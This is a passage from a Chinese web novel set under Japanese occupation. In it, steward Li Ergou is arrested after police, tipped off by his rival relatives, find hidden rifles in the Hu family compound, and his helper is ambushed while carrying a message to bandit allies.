李二狗看到门外的一辆卡车车顶还架有一挺机枪。 “八嘎呀路!为什么这么久才开门!” 为首的一个日本鬼子说完,他身后的一个翻译立刻喝问道:“皇军问,为什么这么久才开门?” 李二狗淡定地说道:“睡得太沉了,没听见敲门声。” 没等日本鬼子答话,翻译直接喝骂道:“放你娘的臭狗屁!这么响的声音,你们没有一个人听见吗?当我们是傻子吗?” “八嘎!他地,说了什么?” 刚才李二狗说完,翻译没有翻译给日本鬼子听,而是自己去责问李二狗,这引起了日本鬼子的不满。 “嗨!”翻译立马立正敬了一个军礼,“他刚才说没听见外边的动静,他肯定在撒谎……” 日本鬼子上下打量着李二狗,见此人抬头挺胸、器宇轩昂,不像其他中国人见到他们战战兢兢、点头哈腰的样子,内心对李二狗倒有了几分钦佩。 他挥手打断了翻译的话,把一个警察叫了过来,和他叽哩哇啦说了两句。 警察不停地点头不停地“嗨”。 之后,他走到众人面前,皮笑肉不笑地问道:“你们谁是胡家大院管事的?” 张二驴刚要上前,被李二狗拉住了。 “我是胡家大院管家李二狗!” 这个警察当然认识李二狗,在江东县,没有一个警察不认识李二狗,他也知道李二狗是孙竹刚的结拜兄弟。 “李二狗,我们刚刚接到举报,举报你们胡家大院私自建立民团,非法拥有枪支,你们赶紧把枪支弹药交出来,说不定皇军会网开一面。” 李二狗猜不到究竟是谁举报的胡家大院 虽然在整个仙人洞镇,乃至整个江东县,大家都知道胡家大院有民团,但哪个吃了熊心豹子胆的人敢到日本人面前举报胡家大院? 这些人听到日本人鬼子的名号都胆颤,哪还敢去找日本人举报? 而且大家都知道自己和孙竹刚的关系,举报李二狗就是打孙竹刚的脸。 难道是孙竹刚? 孙竹刚昨天刚刚在县城替自己解了围,他实在没有必要举报自己! 那会是谁呢? 第617章 李二狗的派头 胡家大院的朱漆大门前,几个穿着黑色警服的警察端着枪,枪口隐隐对着院里,身后是几个同样严阵以待的日本鬼子。 刚才那个问话的警察是领头的,他嘴角留着一撇八字胡,手指刻意在腰间的枪套上敲得“哒哒”响,眼神里也带着几分刻意的凶狠。 他想以此来给李二狗的心理上造成一种强烈的压迫感,这是他对付犯人常用的伎俩。 可李二狗不是一般人,这两年他见惯了大风大浪,这种小虾米的小伎俩在他眼中只会显得滑稽又可笑。 此刻,他站在门内的石阶上,身上那件青布短褂的领口系得整整齐齐,脸上那抹惯常的微笑没有丝毫凌乱。 李二狗这副派头如今已是他的标志,任何时候他都不会失了分寸。 其实他心里跟明镜似的。 是谁举报的胡家大院并不重要,重要的是他早就吩咐张二驴把那十几杆枪藏进了一个非常隐蔽的地方。 举报的人想借此拿捏住了他的软肋,却不知他李二狗混到今天,靠的从来不是匹夫之勇。 “这位老总,”李二狗往前迈了半步,声音不高不低,刚好能让对方听清楚,眼角的笑纹里带着一点点恰到好处的谦卑,“老总,到底是什么人在造谣中伤我胡家大院,还劳您这兴师动众的?” 领头的警察斜睨着李二狗,八字胡不经意地翘了翘。 作为江东县的资深警察,他当然知道李二狗的名头。 江东县县长孙竹刚的结拜兄弟,胡家大院实际掌控人,甚至坊间还有传言,他和清风寨的土匪私下还有勾结。 在江东县,黑白两道都得给他几分面子。 要不是上面有日本人压着,他才懒得管这档子事。 “李二狗,你就别揣着明白装糊涂了。”他往院里瞥了一眼,故意提高了声调,“有人举报,你这胡家大院私藏民团枪支,对抗皇军,到底是不是真的?” 李二狗脸上的笑容更灿烂了,像一朵刚刚绽开的马莲花。 “老总您说笑了,我们胡家大院早年是雇过几个护院,成立过民团,那不是前几年土匪闹得凶嘛。可去年开春就全解散了,护院们要么回了乡下,要么去了城里做工,枪早就当废铁卖了,只换了几麻袋粮食。” “解散了?” 领头的警察“噗嗤”一声,眼神里的玩味几乎要溢出来。 他在警察局浸淫多年,早就把李二狗的底细摸得七七八八。 这人看着和气,可脾气比谁都臭,手里的枪比谁都多。 有钱人都惜命,如今乱世,为了自保,比谁都舍得下本钱,说解散民团?骗鬼呢。 他往前凑了两步,刻意压低声音,语气里带着点“好心”的暗示。 “李二狗,明人不说暗话。咱们都是中国人,抬头不见低头见。我知道你是条汉子,可眼下这世道,胳膊拧不过大腿。” 他朝身后的日本兵瞥了一眼,那几个穿着黄军装的鬼子正抱着枪站在远处,眼神像鹰隼似的盯着这边。 “你把枪交出来,我替你在皇军面前美言几句,就说你是一时糊涂,保管从轻发落。” 李二狗心里“呸”了一声。 这话听着像是在劝,实则字字都在套他的话。 他真要是承认了,别说从轻发落,怕是当场就得被捆去日军宪兵队,剥皮抽筋都有可能。 这号人,在日本人面前摇尾乞怜,转过身就想踩着同胞的骨头往上爬,比孙竹刚还让人恶心。 可他脸上半点没有显露出来,反而笑得更加真诚了。 他把身子往前凑了凑,声音压得更低,像是真把对方当成了能商量的人。 “老总,您是不知道,咱这大院现在就剩下一些老弱妇孺,哪还有什么枪啊?前阵子土匪进村,别说枪了,连院里的马都被那些狗日的抢走了,我这当管家的,现在出门都得靠腿走。”他拍了拍自己的裤腿,上面真的满是泥渍。 “李二狗,你在撒谎!” “这种事我哪敢撒谎?皇军的规定,我有几个脑袋敢违抗?” 领头的警察没想到李二狗油盐不进,脸上的假笑瞬间消失了,换上一副凶相。 他猛地从枪套里抽出驳壳枪,枪口对着天空,发出“咔嚓”一声响。 “李二狗!你别给脸不要脸!”他的声音猛然变高,明显带着威胁的腔调,“你以为我是代表我自己来的?我现在代表的是大日本皇军!私藏枪支,对抗皇军,得枪毙!” 他说着,右手做了个扣扳机的动作,眼神恶狠狠地盯着李二狗,想从他脸上看出点慌乱来。旁边的几个警察也跟着往前挪了挪,枪口微微抬起,气氛一下子紧张起来。 李二狗却像是没看见似的,依旧站在原地,连眼皮都没眨一下。 他太清楚这些人的底细了。 看着凶,其实色厉内荏。 日本人现在忙着稳固地盘,恢复社会秩序,制造亲民的假象,最怕的就是激起民变。 真要没凭没据就把李二狗这江东有名的乡绅抓了,怕是不好收场。 孙竹刚昨天跟他说过,日本鬼子最近正催着各地建立维持会,急需拉拢像他这样有头有脸的人,只要没抓到实据,绝不会轻易动他。 “老总息怒,老总息怒。”李二狗摆了摆手,笑容里充满了无奈,“我说的句句都是实话,您要是不信,尽管搜。” 他侧身让开门口的位置,做了一个“请”的手势。 “前院、后院、厢房、仓库,您想搜哪儿就搜哪儿,搜着了枪,不用您动手,我自己绑了去见皇军。可要是搜不着……” 他话没说完,眼里却闪过一丝不易察觉的锐利。 领头的警察被他这话堵得一愣。、 他本想吓吓李二狗,逼他自己认了,没想到对方竟然敢让他搜。 他心里犯了嘀咕。 李二狗拥有民团,这在江东县几乎是人尽皆知的事情。 可现在他却不怕搜查!还主动让搜查,难不成他真把枪藏得那么严实? 还是故意设了什么圈套? 第618章 日本人去而复返 李二狗的话都已经说到这份上了,不搜反倒显得他心虚了。 “好!这可是你说的!”八字胡警察咬了咬牙,朝身后的几个警察挥了挥手,“都给我仔细搜!一草一木都不许放过!” 警察们立刻涌了进去,他们最喜欢的就是在地主家搜查,翻箱倒柜的声音很快便从院子里的各个角落传来。 有人踩着梯子去看房梁,有人蹲在地上去扒柴火,还有人拿着刺刀往柴草垛里一阵乱捅,折腾得鸡飞狗跳。 李二狗站在门口,冷眼旁观着大院里面发生的一切,眼神平静得就像一潭深水,好像这一切都和他毫不相干。 他知道他们搜不到。 果然,半个时辰之后,警察们灰头土脸地回来了,领头的那个八字胡警察脸色铁青。 搜不到枪支弹药他并不生气,本来他想搂草打兔子,趁机打点秋风,却没想到,堂堂胡家大院,不仅没有大洋和金条,竟连一点值钱的东西都没有。 这个李二狗,实在是太可恨了! “报告队长,没……没搜着。”一个年轻警察低声说道,声音里充满了沮丧。 八字胡警察狠狠地瞪了他一眼,又看向李二狗,眼神复杂得很。 有不甘,有失望,有疑惑,还有一点掩饰不住的慌乱。 他没想到真的搜不到,这下骑虎难下了。 他担心日本人会怪罪他办事不力! 李二狗笑容依旧温和,语气里却带着一点讥讽的味道。 “老总,您看,我就说没有吧。耽误您这么久,实在对不住。要不让皇军进屋喝杯茶吧?我再让下人备点点心?” 这话听着是李二狗在客气,实则是在打警察的脸。 八字胡警察哪里还有心情和李二狗闲扯,他狠狠地“哼”了一声,然后转身就跑到日本鬼子面前。 “皇军,都搜过了,没……没搜到!” 日本鬼子在门外站了这么久,腿都站麻了,结果却一无所获。 他们本来想通过教训李二狗来给江东县大大小小的地主乡绅立威。 没想到如今却是这个结果。 “八嘎呀路!” 其中一个领头的日本鬼子抬手给了八字胡警察一记响亮的耳光,然后带着人气呼呼地走了。 八字胡警察摸着红肿的脸颊,内心十分的委屈。 他回头看向李二狗,却发现他依然保持着那令人讨厌的笑容。 此刻,他真想冲上去扇李二狗一个大嘴巴子。 可没搜到枪支,就定不了李二狗的罪,他又是县长孙竹刚的结拜兄弟,虽说他们现在闹掰了,但谁又知道他们什么时候会不会又和好了。 八字胡警察最终还是忍住了内心的冲动,但他临走之前还是朝李二狗撂下一句狠话。 “李二狗,你小子别太得意了,咱们走着瞧!” “老总,您这忙乎了半天也没捞着喝口水,是我招待不周啊,您慢走啊!恕不远送!” 李二狗站在石阶上,看着他们的背影消失在街口,脸上的笑容慢慢消失了。 他知道这只是一个开始,日本人肯定不会善罢甘休。 李二狗此刻心中只有一个疑问,到底是什么人举报了胡家大院? 他想到自己这两年风头太盛,无意中得罪一些人也是有的。 但现在这种形势下,敢跑到日本人面前去告密,一般人还真没有这个胆量。 不管是谁,李二狗都不怕! 兵来将挡,水来土掩,他李二狗从一无所有混到今天,靠的就是这份临事不乱的镇定,和把对方心思摸得透透的机灵。 张二驴看着李二狗那张坚毅果断的侧脸,对他的佩服愈发的如滔滔江水,连绵不绝。 人家能当管家,自己却只能当二管家,果然是有道理的。 自己和他之间的差距简直是云泥之别。 他对世事的洞察能力、对未来的预判能力,自己就是快马加鞭也追赶不上啊。 他兴奋地说道:“狗哥,刚才真是好险啊,幸好你昨晚让我把枪都藏了起来,不然后果真是不堪设想啊。” “二驴,我和你说过多少次了,遇事一定要淡定,看你刚才那副紧张的样子,恨不得把所有的担心都写在脸上。” 张二驴摸着脑袋嘿嘿傻笑,他刚才确实吓坏了,要不是自己嗓子眼细,心脏都跳出来。 “狗哥,我和你没法比啊,遇事能像你这般镇定的,放眼整个江东也找不出来第二个人啊。” 张二驴这马屁拍的非常明显,但李二狗却很受用。 千穿万穿,马屁不穿,果然还是老祖宗有智慧。 “别扯淡了,你以为我不紧张吗?哈哈,人生如戏,全靠演技,二驴,你自己慢慢悟吧,关门!” 他转身回院,留下张二驴在原地回味。 李二狗走进院子里,望着院墙上那片绿油油的爬山虎,眼神变得深邃起来。 这世道,就像这堵院墙,看似坚固,实则处处都是风雨,可只要根基稳了,再大的风浪也能扛过去。 “哐、哐、哐……” “快开门!快开门!” 巨大的砸门声突然从身后传来,李二狗的心不由得一紧。 张二驴看向李二狗。 “狗哥……” “二驴,别紧张,先去开门看看是谁?” 张二驴跑去开门,李二狗紧跟了上去。 “李二狗,别来无恙啊。” 竟然是八字胡这伙人又回来了,他脸上的狞笑一如既往地猥琐。 “老总,您这是?刚刚不是都搜查过了吗?” 八字胡警察狞笑道:“是搜查过了,可是搜查的不彻底,我们想再搜一遍!” 张二驴忍不住抱怨道:“刚才搜查的时候已经把院里翻了个底朝天,到现在都还没来得及收拾,怎么又来搜查?” “怎么?怕了?” “我……” 看着八字胡警察那张洋洋自得的脸,张二驴又变得紧张起来。 “二驴,老总既然想搜那就让他们搜,咱们没做亏心事,不怕鬼敲门!” “李二狗,不用你现在嘴硬,待会你哭都找不到坟头!给我进去搜!” 李二狗想不明白,明明已经走了,怎么又返回来了?而且还显得如此信心十足。 他无意间看到院外不远处的胡同口有两个身影在晃动。 第619章 戏精李二狗 李二狗的目光刚落在胡同口那两个身影上时,后背就倏地沁出一层冷汗。 不是别人,正是胡士高的二叔胡世仁和他的儿子胡彪。 胡世仁还是穿着那件已经洗得发白的绸衫,依旧端着昔日的架子,佝偻的腰杆使劲挺得笔直。 他身旁的胡彪则缩着脖子,贼眉鼠眼地往胡家大院里瞅,嘴角那里还有当年被李二狗揍出来的疤痕。 这爷俩此时出现在这里,肯定不是来看热闹的。 他们怎么会突然出现在这里? 一个念头突然钻进了他的脑海里,胡家大院那间暗室,胡士高的亲二叔胡世仁会不会知道? 他猛地想起刚才八字胡警察转身去搜查时,嘴角那抹藏不住的得意,像是已经笃定肯定能搜出点什么。 他的心瞬间提到了嗓子眼。 “二驴。”李二狗的声音压得极低,他脚步慢悠悠地晃到张二驴身边,眼睛故意瞅着天空,嘴里却说道:“我瞅着有点不对劲,你看那边。” 他朝胡同口努了努嘴,语气平淡,没有任何波澜。 张二驴顺着他的目光望过去,原本就有点浮肿的脸“唰”地一下白了,嘴唇哆嗦着。 “他……他们怎么在这儿?” 胡世仁父子俩当年为了争夺家产,跟于兰芝李二狗早已闹掰,这几年根本没有走动,他们此时出现在这里,怎么看都不像是来串门的。 “除了他们,谁还能把咱们大院的底摸得这么清?”李二狗的声音里带着点寒意,“我就怕……他们知道暗室的位置。” 这话刚落地,张二驴的腿就软得像煮烂的面条,身子一歪差点栽倒,幸亏李二狗眼疾手快,一把扶住他的胳膊。 “狗哥……这……这可咋办啊?”张二驴的声音都变了调,冷汗顺着鬓角往下淌,“那十几杆枪要是被搜出来,咱们都得掉脑袋啊!” “慌什么?”李二狗攥了攥他的胳膊,力道不大,却带着股稳劲,“刚跟你说过,遇事要沉住气。待会不管发生什么,你少说话,看我眼色行事。” 他松开手时,指腹在张二驴手背上轻轻敲了三下,暗示张二驴有他在,不用惊慌。 张二驴咬着牙微微点了点头,他手心里全是汗,死死地攥着衣角。 就在这时,院子里传来一阵杂乱的脚步声。 八字胡警察满面红光地走在最前面,军靴踩在青石板上“噔噔”响,像是踩在所有人的心尖上。 他身后跟着四个警察,两人一组,抬着三四个沉甸甸的木头箱子。 李二狗的眼瞳猛地一缩,那的确是张二驴用来装枪的箱子。 八字胡警察经过李二狗时,特意停下脚步,斜着眼瞥了李二狗一眼,嘴角咧开一个得意的笑,那笑容里的炫耀几乎要溢出来,像是在说“这下你没辙了吧”。 他没说话,挺着胸脯往日本鬼子身边走去。 李二狗站在原地没动,脸上依旧挂着那副淡淡的笑容,眼角的纹路舒展开来,仿佛看到的不是要命的证物,而是谁家送来了两筐白菜。 可只有他自己知道,其实他的五脏六腑早就搅成了一团,像被扔进了滚水里翻腾。 暗室的位置果然暴露了! 胡世仁这老东西,为了讨好日本人,连自家侄子留下的最后一点根基都要掀了! “报告太君!”八字胡警察跑到院子门口那个挎着军刀的日本军官面前,“啪”地敬了个不伦不类的军礼,声音洪亮刺耳,“在胡家大院一间暗室里,搜出了这些枪支弹药!” 警察们“哐当”一声把箱子撂在地上,地上的尘土被震得飞起。 八字胡警察亲自上前,掀开箱盖,十几杆锃亮的汉阳造步枪躺在里面,枪身擦得干干净净,在日头下闪着冷光,连枪栓上的木纹都看得清清楚楚。 那个日本军官一直板着的脸终于露出点笑意,嘴角咧开,露出两排黄牙,叽里呱啦地说了句什么,军刀在手里轻轻拍打着掌心。 “把他抓起来!”翻译官尖着嗓子喊道,手指直指向李二狗。 两个穿着黄军装的日本兵立刻上前,动作粗鲁地扭住李二狗的胳膊,铁钳似的大手攥得他骨头生疼。 枪托在他后腰上顶了一下,逼着他弯腰。 “你们干什么?”李二狗的声音里带着恰到好处的惊愕和愤怒,仿佛真的不明白自己为什么会被抓。 “放开狗哥!” 张二驴再也忍不住了,他心里虽然怕得要命,可眼看着李二狗被扭住,一股子血气直冲脑门。他一把推开身边的家丁,红着眼就要冲上去,“你们凭什么抓人?” “二驴!别冲动!退下!” 李二狗猛地回头,吼声里带着不容置疑的威严。 他太清楚这些日本鬼子的德性,一旦冲突起来,院里这些家丁根本不是日本鬼子的对手,到时候,整个胡家大院将会血流成河,这是他最不想看到的。 “狗哥!不能让他们把你抓走啊!” 张二驴的眼泪在眼眶里打转,拳头攥得咯吱响,脚底下却钉在原地。 他知道李二狗的脾气,这种时候发命令,就是真的急了。 “服从命令!”李二狗又大喝了一声,同时飞快地朝张二驴递了个眼色,眼角往院角那棵老槐树的方向瞟了瞟。 老槐树下面埋着一个铁箱子,李二狗曾经告诉过张二驴,铁箱子里面的东西,只有在自己出事之后才能打开。 其实铁箱里面藏着一封李二狗写给清风集团陈老三的亲笔信。 一旦遇到紧急情况,就持信去找陈老三。 持信人可信,李二狗和陈老三早有交代。 张二驴读懂了李二狗的眼神,他牙齿咬得咯咯响,最终还是狠狠跺了跺脚,带着家丁退到了门后,背过身去,肩膀一抽一抽的。 李二狗深吸一口气,强迫自己冷静下来。 胸腔里的怒火和恐惧像潮水似的涨了又退,他盯着那几个木头箱子,突然笑了,笑容里满是茫然和无辜。 “老总啊,这枪……你们是从哪儿找到的?我怎么从来没见过?” 第620章 李二狗被日本人抓走 八字胡警察正得意洋洋地看着他被押着,闻言差点跳起来,像是听到了一个天大的笑话。 “李二狗,都这时候了你还想抵赖?”他走到箱子边,“哐当”一声踢了踢箱底,“人赃俱获,你私藏这么多枪,到底想干什么?是不是想勾结国军,袭击皇军?” 翻译官在一旁飞快地翻译着,日本军官的脸色又沉了下来,军刀指向李二狗的胸口,眼神像要吃人。 “老总,我可真是冤枉啊!”李二狗的声音带上了哭腔,眉头紧锁,一脸的苦相。 “我在胡家大院住了这么多年,真不知道还有这么多枪藏着啊!您到底是从哪个犄角旮旯里搜出来的?” “哼,你小子还真是不见棺材不掉泪!”八字胡冷笑一声,双手叉腰,“你以为把枪藏在密室里就没人知道了?告诉你,老子早就查到了!” “密室?”李二狗像是被踩了尾巴的狗,猛地抬起头,眼睛瞪得溜圆,一脸的震惊,连被扭着的胳膊都忘了疼痛,“什么密室?我们胡家大院还有这东西?” 他这副模样太过逼真,连张二驴都看愣了。 明明是他亲自安排自己把枪搬进暗室的,怎么这会儿跟真的不知道似的?这演技实在是太逼真了。 “哈哈哈!”八字胡警察被他逗笑了,指着他的鼻子,“李二狗,你不去演戏真是屈才了!装得还挺像!” “我装什么了?”李二狗一脸的委屈,“我是真不知道啊!二驴,你知道咱院里有密室吗?” 张二驴这才反应过来,赶紧配合着摇头,脸上也是一副茫然。 “没……没听说过啊。我在这儿当差快十年了,就没听过有什么密室。” 八字胡警察的脸瞬间涨成了猪肝色,他指着李二狗,手指都在抖。 “你俩……你俩这是一唱一和地糊弄谁呢?当我是傻子吗?这枪就是从你们胡家大院搜出来的,抵赖有用吗?” “老总,您别生气啊。”李二狗一脸委屈和茫然,“不是我们想抵赖,是真的不知道。您说有密室,那您倒是说说,密室在哪儿啊?” 八字胡警察被他问懵了,随即梗着脖子喊道:“就在堂屋后面那栋院子的东厢房!” 他记得清清楚楚,胡世仁那老东西就是这么说的,还画了张歪歪扭扭的图,指着东厢房墙角那块松动的地砖。 “东厢房?”李二狗皱了皱眉头,嘴里喃喃自语,像是在努力回忆,“二驴,那不是胡老爷生前的卧室吗?” “对啊!”张二驴赶紧接话,语气里带着一点恍然大悟,“就是老爷的卧室!我还在那儿帮着收拾过遗物呢,没见什么密室啊。” “胡老爷卧室里有密室?”李二狗一脸的不可思议,随即又叹了口气,摇着头,“这老爷也太能藏了,连这都没告诉我们。他老人家走的时候,要是说一声,咱们说不定还能发现点别的……”他故意顿了顿,眼睛亮晶晶地看向八字胡警察。 “老总,那密室里除了枪,有没有大洋、金条什么的?实不相瞒,我们胡家大院这阵子都快揭不开锅了,要是有,您可得告诉我们啊。” 八字胡警察一愣,下意识地脱口而出道:“什么大洋金条?我可没见着!” 话一出口就后悔了。 胡世仁那老东西只说有枪,没提过金银,难不成还真有?当时真顾着找枪,都忘记了看看有没有大洋和金条。 他心里顿时活络起来,眼神不由自主地往堂屋后面瞟了瞟。 李二狗看他这模样,心里冷笑道:这蠢货,三两句就被带偏了。 “哦……没见着啊?”李二狗故意露出失望的表情,叹了口气,“那真是太可惜了,老总要是看见了,可别偷偷带走啊,那可是我们胡家大院救命的钱。” 八字胡警察这才回过神来,知道自己被绕进去了,脸憋得通红,指着李二狗骂道:“少跟我扯这些没用的!别以为装糊涂就能混过去!人赃俱获,跟我们走一趟!” “老总,这枪真是胡老爷生前藏的啊!”李二狗急忙喊道,声音里带着哭腔,“我们做下人的哪敢过问主子的事?您这把我抓了,我比窦娥还冤啊!六月飞雪都冤!” “冤不冤你去跟太君说!”八字胡懒得跟他废话,挥手就要让日本兵把人带走。 “哎,那我正好跟太君说说。”李二狗顺势往日本军官那边挣了挣,“老总您不让我说,太君总得讲道理吧?” “你想干什么?”八字胡警察赶紧拦住他,心里有点发虚。 他哪敢让李二狗跟日本人直接对话? 万一被问出点什么岔子,自己这好不容易得来的功劳可就黄了。 两人的争执被翻译一句句传给那个日本军官。 军官听了半天,眉头皱着,似乎也有点不耐烦,挥了挥手,说了句什么。 “太君说,把李二狗带回去调查。”翻译官说道。 “狗哥……”张二驴的声音哽咽着,眼泪终于掉了下来。 他知道,要不是李二狗刚才那番话把水搅浑,恐怕现在整个胡家大院的人都得被捆走。 李二狗回头看了他一眼,眼神平静得很,声音不高,却字字清晰。 “二驴,看好家,别让野狗跑进院里闹事。如若遇事不决,可问春风。” 李二狗怕刚才给张二驴的眼神他没能领会到,便又用“春风”代指“清风”,暗示他去清风集团搬救兵。 张二驴心里一凛,用力地点了点头。 两个日本兵推着李二狗往外走,枪托时不时在他背上顶一下。 李二狗没回头,脚步沉稳,像只是去县城赶集。 阳光落在他的背影上,拉出一个长长的影子。 八字胡警察看着他的背影,心里总觉得有点不对劲,可具体是哪儿不对劲,又说不上来。 他挠了挠头,指挥着警察把箱子抬走,脑子里还在琢磨着东厢房那间密室——说不定真有金条呢? 回头得再找个由头,好好搜搜。 院门口,张二驴望着李二狗消失在街口的背影,狠狠地抹了一把脸。 第621章 张二驴驴失前蹄 “关门!” 张二驴的吼声带着一股从未有过的硬气。 他拍了拍沾着灰尘的袖口,刚才还抖得像筛糠一样的腿,此刻竟站得笔直起来。 李二狗被日本人带走了,他要是再慌了,这胡家大院可就真乱了。 他必须替李二狗看好胡家大院。 “大家都各司其职去,”他扫了一眼院里的家丁仆妇,眼神比平时亮了三分,“没我的话,谁也不许跨出这大门一步,违令者按家法处置!” 众人面面相觑,见张二驴脸色阴沉,纷纷低下头散去。 屋檐下的麻雀被这股子煞气惊得扑棱棱飞了起来,落在不远处的墙头上还歪着脑袋瞅向张二驴,仿佛也在看这平日里咋咋呼呼的张二驴,今个怎么换了一副模样。 张二驴没心思理会加雀儿,转身就往后院走。 老槐树的影子在地上拉得老长,树根处的泥土看着比别处松快些。 他蹲下身,用手指抠进泥土里,果然摸到一个铁盒。 打开铁盒,里面是一封信,信封上面写着五个歪歪扭扭字:“陈老三亲启。” 张二驴瞅着笔迹,确实是李二狗的字,他以前见李二狗在账本上画圈,就是这副横不平竖不直的德性。 陈老三……这名字他耳熟。 前几年也在胡家大院当伙计,因为民团的事情被胡士高赶了出去,后来听说上了清风寨,并成了山寨的重要人物。 张二驴以前就猜测李二狗和清风寨大声那群“绿林好汉”有关系,如今见了这封信,更加坐实了自己的猜测。 这哪是什么一般关系,分明是非常深厚的交情。 他忽然想起李二狗被日本人带走时说的那句“遇事不决,可问春风”,此刻才算咂摸出味道来。 由于日本人在场,他不便明说,“春风”不就是“清风”的影射吗?李二狗这是早留了后手。 张二驴捏着那信纸,心里直痒痒,很想拆开看看里面究竟写了啥。 可指尖刚碰到封口,又猛地缩了回来。 这是李二狗给陈老三的信,他怎么能私自打开看?! 想到这里,他急忙把信揣进怀里,贴身藏好,转身叫来家丁里最机灵的小三子。 “你看好院门,我去去就回。” 说罢,他牵了一匹快马,翻身上鞍,一阵风似的出了胡家大院。 刚过镇子西头的奈何桥,不宽敞的道路上突然横出一根绳子,像是农户晒粮食的纤绳,被人拦腰截了,两头系在路边的老枣树上。 张二驴心里一紧,想勒马已经来不及,马蹄子绊在绳上,“唏律律”一声长嘶,前腿猛地扬起。 他整个人从马背上飞了出去,“啪”地摔在地上,后脑勺磕在石头上,眼前顿时冒起金星。 还没等他爬起来,后颈突然挨了一记闷棍,力道不大不小,刚好让他晕乎乎的。 不是疼,是懵,像被人兜头浇了一桶浆糊。 “爹,这小子咋办?” 一个尖细的声音在耳边响起,带着一点幸灾乐祸的嘚瑟。 张二驴眯着眼,模模糊糊看见几个人影。 中间那个穿着一件不合身的绸衫,领口歪着,露出松垮垮的脖子,不是胡世仁是谁? 他旁边站着一个瘦猴似的年轻人,嘴角那道疤在太阳下泛着油光,正是胡彪。 还有两个壮实的汉子,瞅着面生,怕是胡世仁在乡下招来的远房亲戚。 胡世仁背着手,围着张二驴转了两圈,绸衫的下摆扫过地上的泥土,他却浑然不觉,那模样倒像是在打量一头待价而沽的牲口。 “慌什么?”他慢悠悠地说道,声音里带着一点自以为是的沉稳,“彪子,你先搜搜他身上,说不定有什么好东西。” 胡彪一听这话,眼睛顿时亮了,像一只闻到肉味的野狗,扑到张二驴身上就摸。 他的手指在张二驴怀里乱掏,把烟袋、大洋一股脑掏出来扔在地上,最后摸到一个硬纸包,——正是那封写给陈老三的信。 “爹!有封信!” 胡彪举着信纸,像举着一块金砖,脸上的疤都跟着跳。 胡世仁接过信,眯着眼瞅了半天,那五个字像五只乱窜的蚂蚁,看得他眼晕。 “陈老三……”他咂摸着这个名字,眉头紧皱,“咋听着这么耳熟呢?” 胡彪凑过来,也想看看,却被胡世仁一把推开。 “去去去,你认识几个字?” 他打开信封,抽出里面的信纸,信纸上也写了五个大字:持信人可信。 一样的龙飞凤舞。 胡世仁又盯着信纸看了半晌,突然一拍大腿。 “哦!是不是前几年在胡家大院跟着李二狗的那个伙计?” 胡彪想了想,点头如捣蒜。 “对对对!就是他!后来被胡士高那小子赶出去了!” 他说得眉飞色舞,仿佛亲眼看见似的,全然忘了当年自己被陈老三揍得像死狗。 “他现在在哪?” 胡世仁捏着信纸的手指微微有些发颤,能让张二驴这么急着送的信,八成是跟李二狗有关,说不定能从张二驴嘴里套出点什么,再去跟日本人邀功。 “好像……好像上清风寨当土匪了?”胡彪挠了挠头,一脸的不确定,“前阵子听乡下亲戚说,清风集团有个叫陈老三的头目,为人嚣张的很。” “清风集团?清风集团是什么东西?” 胡彪不屑地说道:“清风集团就是清风寨,不知道谁起了这么一个不着四六的名字。” 胡世仁的眼睛亮了,背着手在原地踱了两步。 “李二狗私通土匪,要是咱们把这封信交给皇军,说不定能领更多的赏钱!” 他正得意着,胡彪突然指着地上的张二驴问道:“爹,这小子咋办?” 胡世仁瞅了一眼躺在地上的张二驴,又看了看四周,压低声音道:“把他拖到旁边的那个草垛里,堵上嘴。等咱们把信交上去,领了赏,再回来收拾他!” 胡彪和那两个汉子赶紧动手,七手八脚把张二驴拖到路边的草垛里。 胡世仁小心翼翼地把信折好,揣进怀里,拍了拍,像揣着一个金元宝。 “走!”他一挥手,带着胡彪等人往县城方向走去,嘴里还哼起了不成调的小曲。 草垛里,张二驴慢慢睁开眼睛,头晕得厉害。 他挣扎着想爬起来,却被绑的结结实实。 张二驴心急如焚。 第622章 迫不得已 李二狗被带到江东县警察局的审讯室。 因为李二狗身份特殊,又是日本人和孙竹刚极力争取的对象,日军小队长松井直树和孙竹刚亲自坐镇审讯室,由孙竹刚审问李二狗。 孙竹刚清了清嗓子,一本正经地问道:“李二狗,从你们胡家大院搜查出十几条枪,这事你怎么解释?” 李二狗之所以提前把这些枪支藏匿起来,完全是因为担心这些枪支日后被日本人没收。 日本人没来江东之前,地方上成立民团是合法的,国民政府允许乡镇成立民团。 可现在日本人一来,却直接指控李二狗非法成立民团、藏匿枪支,还有抗日的嫌疑,这明显是欲加之罪,何患无辞。 他们的目的很明显,就是想通过这个办法逼李二狗就范。 有抗日嫌疑,仅凭这一条,他们就可以枪毙李二狗。 “孙县长,我只是胡家大院的一个管家,搜查出来的这些枪支是我们老爷胡士高生前藏匿在他自己卧室密室里的,我根本就不知情啊。” 把责任推到死人身上,孙竹刚很佩服李二狗的脑子,因为死人是不会说话的。 但孙竹刚不打算就此放过李二狗,他必须拿这件事逼李二狗就范,仙人洞镇维持会会长这个位子,必须由他出任。 “李二狗,不管这枪是谁藏匿的,总归是从你们胡家大院搜出来的,你必须站出来承担责任。” “孙县长,我虽然是胡家大院的管家,说白了也只是一个打工的,怎么由我来承担责任?我不服!” 孙竹刚继续逼问道:“那你说应该由谁来承担责任?死去的胡士高吗?还是他那几个不知所踪的姨太太?” 李二狗绝不会钻进孙竹刚的圈套中。 “孙县长,你有所不知,我们大奶奶并不是不知所踪,她只是带着孩子去了上海,过不了多少日子就回来了。” 孙竹刚一时有些语塞。 “李二狗,我们现在说的是私藏枪支的事情,你不要把话题扯远了,这事难道是你们大奶奶干的不成?” 孙竹刚的确是一个诡辩的高手,但李二狗也不是废物。 “孙县长,可我没有私藏枪支啊,为什么要追究我的责任?” 话题一下子又回到了开头。 两个人就这样扯来扯去,扯了半个多时辰,李二狗来来回回还是这些车轱辘话。 松井直树失去了耐心,他对孙竹刚说道:“孙县长,如果这个人还是如此冥顽不化,那就枪毙好了。” 翻译把这话翻译给孙竹刚听的时候,李二狗也听见了。 原来日本人想枪毙一个人并不需要什么确凿的证据。 孙竹刚瞅了一眼李二狗,心中还是有些不忍,毕竟自己当初当上江东县长,完全是李二狗从中帮的忙。 他孙竹刚虽然投降日本人做了汉奸,但绝不是一个无情无义之人。 “松井队长,请您再给我一些时间,我一定可以说服他。这个人在江东的影响力非常大,如果他能出任维持会会长,对我们尽快恢复江东的社会秩序帮助会非常大。” 松井直树用一副审视的目光看着李二狗,他总觉得这个人,虽然表面上看似玩世不恭,但内心却是非常的倔强。 “孙县长,我再给你一天的时间,如果明天的这个时候他还不愿意,那就死啦死啦地。” 松井直树说完就走了出去,孙竹刚忙起身把他送到门外。 